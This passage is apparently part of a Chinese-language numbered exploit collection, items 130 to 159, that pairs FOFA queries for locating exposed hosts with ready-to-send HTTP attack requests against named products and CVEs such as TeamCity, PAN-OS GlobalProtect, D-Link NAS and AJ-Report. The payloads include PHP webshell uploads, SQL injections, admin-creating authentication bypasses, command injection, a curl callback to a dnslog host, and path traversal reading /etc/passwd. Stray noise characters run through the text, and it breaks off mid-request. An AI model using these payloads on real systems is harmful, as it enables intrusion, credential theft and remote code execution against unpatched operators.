User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- G& C' x0 q0 s0 \Accept: */*
$ c$ ?5 N% [3 O/ AAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
0 L8 v% u; D6 D
2 m- Z, o; z# f
130. Laykefu客服系统任意文件上传
* K0 R4 ]7 Y6 y  ~* M# ZFOFA：icon_hash="-334624619"
2 {0 ^1 q/ v" z7 r3 B+ S5 xPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
  M* m4 O) M2 ?) j+ T8 t* tAccept: application/json, text/javascript, */*; q=0.01
: P' ~. a" p  ^. CX-Requested-With: XMLHttpRequest
( U! o) g- l% ^& w7 i% SUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
/ ~  j) T7 M3 u" y$ `Connection: close
) H. t0 k& W7 R( L
% k& @3 V7 ^6 I$ C( ]------WebKitFormBoundary3OCVBiwBVsNuB2kR
+ S! l) u/ C3 JContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
. ~7 I6 x. g. T8 k' B, f/ v, ?------WebKitFormBoundary3OCVBiwBVsNuB2kR--
* W& j" k! `0 |# K5 C" [
& z+ L: Y3 J9 l: g+ A1 Z
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 z5 m4 ]) ?. Q/ C! w
" q$ x$ A! |8 z2 M6 I132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
. D/ n( u4 a6 U" c3 HCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
1 g  w+ ?6 z/ j4 r( yContent-Type: application/json
9 u" u3 v9 m9 d  `% |; @- _Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ Y* m# t) t+ D+ ^: r! _( t5 {$ Y

5 Z# N) W6 G9 f$ @0 n2 P" u. n$ mCVE-2024-27199
. [: n  K' v/ p+ B2 y/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
( ?1 u6 n- z- R/ F- m$ J$ R5 T4 ]/update/../admin/diagnostic.jsp

. u# o0 k. Z& t0 Z* C" @- y+ N
7 Y: U* B+ y8 CCVE-2024-27198-RCE.py

7 z" }! M! z7 Q" T133. H5 云商城 file.php 文件上传
1 A* ]1 ]& K  y3 @5 T8 \& L% wFOFA：body="/public/qbsp.php"
5 R2 X8 y/ n7 Z4 @# dPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
- z. v4 j; }6 q1 N+ R5 h) x: aHost: your-ip
% e" W0 c. T3 d0 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' s6 I5 ~/ T! U9 u8 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
% @$ J4 e2 {5 K3 S
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
5 B" C7 V. p# X# J6 P/ yContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
6 |: Z/ b4 m# P& V) q( m
0 s7 O# Q( y! \) F# v# t7 i/ ]5 |<?php system("cat /etc/passwd");unlink(__FILE__);?>
7 b- x2 a( H+ R( O  ^' }------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
  J6 m, X" ?  _" S
0 @) d/ x: n: o- k* U+ x+ x  J
# P" w' W6 w$ I9 o2 H: m' A
1 c  Z4 F; P  b* S4 Q134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
  @' X) F, E. A' k* C$ ?8 K- NFOFA：app="网康科技-NS-ASG安全网关"
$ _( r# o; d: [# hPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
* M* e7 H) q. n1 S7 r4 ^Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
* r6 J0 ~0 ^5 l1 t3 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ l+ D  c8 C: }; y; p$ cAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
( c8 {, r  y. W3 _/ N9 ESec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
- G+ c& I& E# w8 w: PConnection: close
Content-Type: application/x-www-form-urlencoded
$ X$ I6 q' n+ D% O+ H# M4 vContent-Length: 263
+ B* Z0 W: `0 \; Z; D
6 w! l. f9 ?" o8 b+ y' vjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
! b( U( f) j9 [* X" |
* }5 i1 w5 w' Y0 |( {% m
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
4 |3 F' V- {1 `; f4 y1 L- m) lCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
6 c9 A8 G5 K5 M5 E2 T3 h( q. `FOFA：app="网康科技-NS-ASG安全网关"
7 }5 ~6 J9 }$ a/ a1 SGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 z6 P3 e0 y  GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

9 U/ j; V& p& d9 D: _+ u
136. NextChat cors SSRF
& e. u7 U+ W/ ~& a7 A3 _+ `CVE-2023-49785
6 q# l4 ]3 e- ^0 F1 D) w4 `FOFA：title="NextChat"
3 @) s; l3 y$ _8 X7 h) t& e0 Y1 @GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
3 ]1 V! Z, v, ]  F0 ^  I9 i9 dHost: x.x.x.x:10000
% \" |3 m& t/ \! i. dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% }+ w  @. H  v) o: EConnection: close
Accept: */*
Accept-Language: en
; b/ `. `& b7 V+ ?) \Accept-Encoding: gzip
+ W- a( U2 I4 K$ Z
' i  k0 N/ m2 g+ f
137. 福建科立迅通信指挥调度平台down_file.php sql注入
* d; w  a* b- ?& ?1 h4 pCVE-2024-2620
9 g- F  y. y% O( F3 pFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" ~5 _6 l4 U, o+ o; w& k5 |) q. z- JGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
" [% l) F5 _: V, o+ b2 ^! I3 JHost: x.x.x.x
5 ^# ^  w% H- W* b0 M& @( hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# Z% H2 |) I0 w3 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 A, u4 O$ B# FAccept-Encoding: gzip, deflate, br
% i3 @/ v0 k; _: B$ `) p3 {Connection: close
$ Y/ `3 P% v, E0 H& k+ C) }Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
" Z; P0 ~  y0 _0 J' ~Upgrade-Insecure-Requests: 1

% s2 N( `" v( A+ a
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
7 C* t: [1 s9 E* ~  ACVE-2024-2621
- b) p( f6 s( nFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, A5 r0 X0 t" gGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, b7 v7 S: m% E: G# s' DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 \3 ]5 N( g$ n' ^/ ZAccept-Encoding: gzip, deflate, br
5 S6 y9 O" G6 t0 b; N: \7 tConnection: close
2 ]( }( i+ w9 l6 Y  SUpgrade-Insecure-Requests: 1
) l, c% ^* F1 K5 S  {

: L" h  `& b1 G; k139. 福建科立讯通信指挥调度平台editemedia.php sql注入
; E8 p7 Z* q3 A9 XCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 Y" z7 y) B. KGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 v& \, ~& K3 y- Q  yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
% G* Q- {: e+ o" b
! l0 V) r& z& k
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
3 R9 C; K  W. wFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" X: v  ?6 l* g: Q& `$ U4 BGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
0 D: m1 Z" p9 z. n7 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& s- O) Y# m4 z' n) _( e, fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# u2 |' C, a  j5 j: g7 `: q* F7 {: UConnection: close
Cookie: authcode=h8g9
# w/ l7 x! P+ q  c. PUpgrade-Insecure-Requests: 1
" _& k3 \8 u; Z+ v# x( M: e( I

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
) x. m. E6 q( g9 CPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
! d1 a# x. X: e- W4 _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
+ R+ h5 ?# L0 I) g0 `, xContent-Type: application/x-www-form-urlencoded

5 a6 a) O) r9 ]
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
: i1 k2 P4 |2 U1 n! e  j. w
& y4 }+ a) p9 L
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
0 u- X$ d5 Q+ N9 C1 w2 N, N. sFOFA：body="/808gps/"
( r9 Y7 z" i* n6 eadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
8 l3 b+ e$ S+ T2 Q: OPAYLOAD
8 t5 D1 b2 }# F- a$ B4 H3 }
144. D-Link nas_sharing.cgi 命令注入
) l9 I+ i5 `+ a& a1 TFOFA：app="D_Link-DNS-ShareCenter"
# W  P$ A, |- f0 U! M% m& a! xsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
0 ^# B4 {6 i" U* `6 t( h8 ^Connection: close
. f! T6 a* r2 ^; l- ]9 d# \Accept: */*
) M; X2 b: f' {% N% UAccept-Language: en
9 \. \& k$ Q' d' [Accept-Encoding: gzip
/ \6 h4 f, t6 r2 B- b$ h6 K' \
' W9 k. Q- q& z. R
4 U6 p6 H$ b5 F" l/ T6 S145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
* P% @" l! x' M3 w# {$ T7 ~FOFA：icon_hash="-631559155"
. c5 e/ K# V4 r9 v7 u  q3 JGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
0 Y3 D( z6 V' T5 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 H) x4 n9 {% A& MConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
/ `0 u7 n; l/ F* x' J( T0 HFOFA：app="MajordomoSL"
9 _6 `/ g% v. N& {9 KGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 Y2 q4 C1 N, `Host: x.x.x.x
6 @7 a! t! Q6 O$ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
3 p+ ?& l( o8 U3 C" \: QAccept-Charset: utf-8
, [' X4 B+ Y- _; p' K+ s) UAccept-Encoding: gzip, deflate
2 ~- }7 U$ X# s2 i  h- n. p/ RConnection: close


- G; A5 o- a9 B+ @. B! \5 k147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
3 G' r0 n7 z4 m# n9 H! c& WCVE-2024-32399
- g! U; @4 `% B- U+ A) r3 dFOFA：body="RaidenMAILD"
3 Q( w2 [) n6 EGET /webeditor/../../../windows/win.ini HTTP/1.1
8 c: ~1 `/ F7 I" i9 eHost: 127.0.0.1:81
# @: B/ s$ E6 X+ d) f, n) BCache-Control: max-age=0
Connection: close


% J, X# B! G- z. W. ~148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
' y" N! R4 x  t: A4 F7 e6 X, D6 U$ C
0 Z( c  {1 k" K; U. oPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( J) b. ^6 \0 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 n3 {% P4 @. R# t1 R  nAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
9 J) H2 n" {3 m; T+ _/ tConnection: close
/ X. K; `: |  y
$ q/ r, {' I1 m4 G# n( Y{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 G& P( Z' g" m1 X9 U; l  j
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
& M) h3 a9 N! u' ^  M$ FPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
' ^, A7 ^& I& P9 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 \; s1 h1 }/ Y, o0 L/ |/ l6 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! U, B- O: }: l" i+ @Accept-Encoding: gzip, deflate, br
) R3 J) h* i# Z2 x3 Y# @& u" m2 mAccept-Language: zh-CN,zh;q=0.9
, M6 l* U' O9 u8 t! }Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


1 h. x. H" T6 c6 B- ]151. AJ-Report 1.4.1 pageList sql注入
" ^( y7 {8 ^% Z# tFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
, \! v* C- a, m+ r% X+ ?Host: x.x.x.x
. K# R8 K9 _4 c" p0 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* E, h, b5 _/ G! w' FAccept-Encoding: gzip
9 h! @1 p- z9 A) Q; _- r$ ?
) [$ E' I/ Q0 ~0 h1 T2 X7 z& X
0 i. N2 N: g5 u  e1 V152. Progress Kemp LoadMaster 远程命令执行
3 e7 q3 H6 v0 tCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
) V% P) Z7 J' h2 \& [LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
! V6 n- A8 P+ \% j1 DFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
- {9 J  o& o6 f' i& \0 PGET /access/set?param=enableapi&value=1 HTTP/1.1
: b* Q' `9 V: J! sHost: x.x.x.x
/ Y" J+ ]/ }2 m% {6 y% {" T) l1 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
+ S% z7 R. s9 V& Q1 h% t, r: jAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
2 L6 N0 @4 n- D& F& v' t3 }% t7 [Accept-Encoding: gzip

4 I. `, }1 a2 f6 x0 `" T0 e6 O
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
8 s/ b* _/ o% b! d2 J, b1 x5 m第一步，请求/config文件获取componets的id
* w8 m+ c7 u. x+ a) ], N, J0 Ehttp://x.x.x.x/config
/ ]& e5 D: A( X/ ~4 J7 \( x, R; d
0 ~+ v2 v6 @0 i1 |+ i
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
- Y9 A9 ~/ p9 l1 ^8 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
9 w$ B8 V& C  w5 k1 v8 {: fConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
3 l& O. a# V* b6 B
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
5 u2 F+ y0 h  G

; y! C/ h% V: Z第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
3 g4 _5 P( L4 {5 O7 z; \5 e& r
) D, Z+ R: p! l0 ^/ V
154. 天维尔消防救援作战调度平台 SQL注入
& a- p3 @, F  @- r. g' E; GCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
4 `7 |( @1 O9 ^. E+ w0 Q0 X7 N4 BPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
1 j8 i0 Y! x' {7 v/ T9 b  JCache-Control: max-age=0
3 G" \2 y9 k( \7 ^Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
4 h( S& m& B) ~. u; [  S& LContent-Type: application/json
0 N2 b) G1 I( `7 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
1 U# g5 I& y( m) {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( n6 M! ~( L' U3 I% O3 N0 HReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
) O  o$ H: G3 R: KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

3 K9 {* s- U, c# v; z  R{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


7 V1 E, j! O/ Y* |0 A155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
1 i) W, Z9 h/ w3 b0 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
& m  ]( o& w- r( X* ]; }" \Content-Length: 232
, K# W. I# {4 R' B2 g3 N$ i1 S  xAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ M9 n- ?% Q- h( S* CContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
. E4 R7 o) L7 Z2 ?& G! cX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
' ~# d( N* R1 N& qContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

7 Z) |: ?. T, L3 a' ?& ^6 y9 O<?php phpinfo();unlink(__FILE__);?>
9 @3 A$ x  S4 }1 @-----------------------------qttl7vemrsold314zg0f--
. j& o# L" n1 K8 U1 o7 O+ w3 _( G

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
9 ]- e& o" O7 d9 V$ D& j
6 \: R/ S# p2 s! f156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
6 ]& I- S1 {* ~8 u  i1 nFOFA："Location: /login.rsp"
·TBK DVR-4104
0 W  N+ |, v) A2 S; b·TBK DVR-4216
" W5 O( L. R* k: x1 Fcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
; X% M9 ~; ~9 ^. h4 D6 a  Z; B, Z
6 F' j3 `( z# v
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
% `) v3 X$ p! _+ \2 Y& HUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
5 i( Y1 V* ~0 r8 cCookie: uid=1
Accept-Encoding: gzip
4 E/ T$ y& U3 Y4 ~, P7 _
* b; ~; H' t6 z
157. 美特CRM upload.jsp 任意文件上传
% O2 I0 C0 E, e; @( N4 |3 p- CCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
2 B# d, v3 M6 Q, a; vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 i4 h' b) H3 w( g6 T8 ~( U: SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 C0 |1 g7 r) n4 T. ?Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

  z. E# n8 y2 P9 ~* ^------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
* c2 d, b4 p- S1 e
null
------WebKitFormBoundary1imovELzPsfzp5dN
9 c6 @. t/ U/ x: \& _! eContent-Disposition: form-data; name="form"

& c6 a; K0 d1 m/ O" ]* Unull
) K. Y% [3 w$ f. T: L* q+ x------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
1 D3 C! j9 H: V+ }) _
% t3 f5 J: G5 f: e7 L6 Y$ E" |null
6 }% a' o' b: T' _. B------WebKitFormBoundary1imovELzPsfzp5dN
6 j. \0 [8 r  XContent-Disposition: form-data; name="filetitile"

1 v# l5 Q8 z. unull
6 c. \9 P& C% w* N( x1 _2 p------WebKitFormBoundary1imovELzPsfzp5dN
0 f$ r8 b" y6 G) M1 DContent-Disposition: form-data; name="filefolder"
' ~3 |0 Y0 k1 x
null
4 d" f% o2 {3 h7 u  S------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
# H  |. q8 l0 t7 n+ P6 v" W
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
3 {* A/ }& N! L4 w$ `* a; a4 oPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

$ K# ~2 g* r# H' bobject=displayregion&contenthistid=x\'&previewid=1
( j* V0 T$ [- T0 ~6 ]$ Y9 u

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
8 p/ B6 [% c! K" n8 W2 L  V1 ?! V$ \FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
4 ^" ~, o/ P. R  OContent-Length: 1080
$ b6 j- D5 X  W0 s% L. eAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
* `3 ~# F+ g/ A3 k0 u! X
<?xml version="1.0" encoding="utf-8"?>
6 I, @, s5 u6 H+ U" j$ D<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  L- A. v- C7 W; S( A* J0 n: _<soap:Body>
